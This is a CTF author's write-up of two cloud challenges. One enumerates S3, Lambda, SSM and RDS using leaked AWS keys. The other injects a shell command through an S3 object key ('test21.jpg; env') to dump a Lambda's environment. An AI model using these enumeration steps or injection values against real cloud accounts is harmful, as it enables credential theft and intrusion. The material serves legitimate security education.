Hey there!!! This post is all about the solutions to the CTF challenges I created for Winja CTF – berlin edition. The category for the challenges is Cloud.
If you are not aware, the challenges for this CTF were based on the money heist theme. Hence all the challenge description or context will be referring to money heist.
Challenge 1 – The Legacy
The professor is tasked by his father already to find the best crew for his heist. The professor is given a file that looks like a wordlist. He is tasked to identify, what it could be and eventually reach his destination.
Challenge agenda??
The purpose to create this challenge is to educate people on how enumeration can be done once you get the secret keys for AWS environment. What are the different services you can look for and how data can be extracted when just having the command line access to the AWS infra.
Solution
The challenge is based on AWS cloud service enumeration. The wordlist is of the s3 buckets. There is only one bucket in the haystack of words.
The correct bucket can be easily found via the tool: https://github.com/sa7mon/S3Scanner
The tool will find out if the bucket exists and also the permissions on that bucket. The bucket identified will be : mint-aghvm5d
The bucket has a file name secrets.txt having the secret key and access key id for AWS cloud. That’s a jackpot!!
AWS Profile
The next step is to enumerate what all services can be accessed by these keys! A new profile can be always created so that all the keys are present in their separate environment. Run the following command to create a profile.
# aws configure --profile legacy
Once the profile is created, The next step would be to manually look for services using the basic service enumeration commands. I have chosen the most popular ones for this challenge which makes it a bit easy.
Lambda
The player has to identify that there is lambda function “theLegacy” whose contents are retrievable. The lambda functions can be listed using.
aws lambda list-functions --region us-east-1 ------------------------------- { "Functions": [ { "FunctionName": "theLegacy", "FunctionArn": "arn:aws:lambda:us-east-1:147172051026:function:theLegacy", "Runtime": "nodejs14.x", "Role": "arn:aws:iam::147172051026:role/service-role/theLegacy-role-caqz6x8z", "Handler": "index.handler", "CodeSize": 886, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2022-02-17T10:06:40.000+0000", "CodeSha256": "m78Mz+3aThJxMMCah4h3N3JH7cqiBAVY4DkYBD4HKbA=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "7a5c4d88-f5c3-49ff-9da7-8ae0b996c6f3", "PackageType": "Zip" } ] }
Once you get the name of the lambda function, the contents of the index.js can be listed using get-function. The response for this command will give the location for the lamda that will download the source code for you.
aws lambda get-function --function-name theLegacy --region us-east-1 ------------------------- { "Configuration": { "FunctionName": "theLegacy", "FunctionArn": "arn:aws:lambda:us-east-1:147172051026:function:theLegacy", "Runtime": "nodejs14.x", "Role": "arn:aws:iam::147172051026:role/service-role/theLegacy-role-caqz6x8z", "Handler": "index.handler", "CodeSize": 886, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2022-02-17T10:06:40.000+0000", "CodeSha256": "m78Mz+3aThJxMMCah4h3N3JH7cqiBAVY4DkYBD4HKbA=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "7a5c4d88-f5c3-49ff-9da7-8ae0b996c6f3", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip" }, "Code": { "RepositoryType": "S3", "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/147172051026/theLegacy-4e131442-31fe-456e-807e-88066f72fac3?versionId=TJgPKjR0Hcozx_dodW3BJb2UlJcT8CRF&X-Amz-Security-Token=IQoJb3JpZ2luX2VjENL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCICbCgyc%2FZLheA9PhwnkGLmrrzopDoUCYcT3GfG4HRlrGAiAw7SURq1biqjlGNNz4nY4xiQ%2F92c2YntlgxG9MVh5fGyr6AwgqEA.......................................a422IQHNVoat5kHdEnQWVG6UGq3Cy5SxKuRHFRUJyLWXVQaFYQB4ampanVxxwhXIg7B6Sut32o1QxnXyHlNu6h2EhSwxYt03M1hfiHrP%2BM%2FQUEgDzJ4MvkkVF3SyMMiPyJAGOqYBmKZsJI190dvURT1Rs%2B5ltU6yVqGstws11i3jmxjNCxLwgVmn2rWJYcPyH4%2B0BOmKbO4C1zbnvdpYwcY4dw%2FxhqoAjiW1dB8EtVYP%2BvX129hsew%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220220T101319Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY336RJ3GN2%2F20220220%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=aadd4fef282f670cdf9119a18cd3f81a00965470ec58944db41f9d1a008090c9" } }
import sys import logging import rds_config import pymysql #rds settings rds_host = "thelegacy.crnza1ff4ryk.us-east-1.rds.amazonaws.com" // whatever is the rds hostname comes here //to be implemented and fetched from somewhere. I think that would be a more secure way to do things. name = ?? password = ?? db_name = ?? logger = logging.getLogger() logger.setLevel(logging.INFO) try: conn = pymysql.connect(host=rds_host, user=name, passwd=password, db=db_name, connect_timeout=5) except pymysql.MySQLError as e: logger.error("ERROR: Unexpected error: Could not connect to MySQL instance.") logger.error(e) sys.exit() logger.info("SUCCESS: Connection to RDS MySQL instance succeeded") def handler(event, context): """ This function fetches content from MySQL RDS instance """ item_count = 0 with conn.cursor() as cur: cur.execute("create table crew ( name varchar(20) NOT NULL, original_name varchar(255) NOT NULL, PRIMARY KEY (name))") cur.execute('insert into crew (name, original_name) values("tokyo", "Silene Oliveira")') cur.execute('insert into crew (name, role) values("berlin", "Andrés de Fonollosa")') cur.execute('insert into crew (name, original_name) values("rio", "Aníbal Cortés")') cur.execute('insert into crew (name, original_name) values("denver", "Daniel Ramos")') cur.execute('insert into crew (EmpID, Name) values("Niarobi", "Ágata Jiménez")') conn.commit() cur.execute("select * from Employee") for row in cur: item_count += 1 logger.info(row) #print(row) conn.commit() return "Added %d items from RDS MySQL table" %(item_count)
In the source (above) you will find that the lambda is talking to rds instance (endpoint URL is present).
Also, it mentions username, password and database. But there is no further information about it.
Parameter store
Now here the player has to think about where possible these variables would be present. It may be in the env variables. But for this challenge, its present in the parameter store.
The values for all the 3 variables can be listed using the commands below.
aws ssm get-parameter --name "username" --region us-east-1 aws ssm get-parameter --name "password:2" --region us-east-1 aws ssm get-parameter --name "database" --region us-east-1
Like you can see, for password its password:2. It means that the password is having the version 2. In cloud, I had changed the value for password multiple times to create versioning. Also, the region is nowhere present in the challenge description and has to be a guesswork.
RDS
Now you have got all the 4 things present that is rds endpoint URL, username, password and database. The last step is to simply login to the rds database and look out for the tables present and there you will find the flag.
mysql -u tokyo -p --host thelegacy.crnza1ff4ryk.us-east-1.rds.amazonaws.com -P 3306 > use heist; > select * from crew;
First Heist
Professor has the greatest task in hand to steal the gold from the world’s largest bank. Can you be the professor’s helping hand??
Challenge Agenda?
The purpose of this challenge is educate on how bad coding can lead to serverless RCE.
Solution
This is a cloud challenge vulnerable to code injection.
There are 2 buckets S1 and S2. The player has to upload the object in S1. If you see the contents of S1, you would see nothing as the object gets deleted once uploaded.
Once the object gets uploaded to S1, a lambda function gets triggered that is taking the uploaded file name and echoing the name contents in the body of the object that would be put in S2. In the lambda, exec method is used and the input to exec method is user-controlled which makes it vulnerable to code injection. The flag is placed in the environment variables of the lambda function. Variable such as access key id and secret key are blocked through code.
With semicolon (;) multiple bash commands can be written and hence we can now write env command to print all the environment variables.
Run the following 3 commands to get the contents of the flag
# aws s3 cp test.jpg 's3://S1/test21.jpg; env' # aws s3 cp 's3://S2/test21.jpg' . # cat test21.jpg
That was 2 of my cloud challenges. Hope you liked reading it. If you have any feedback, let me know in the comments.
See you in the next one. Until then, happy hunting 🙂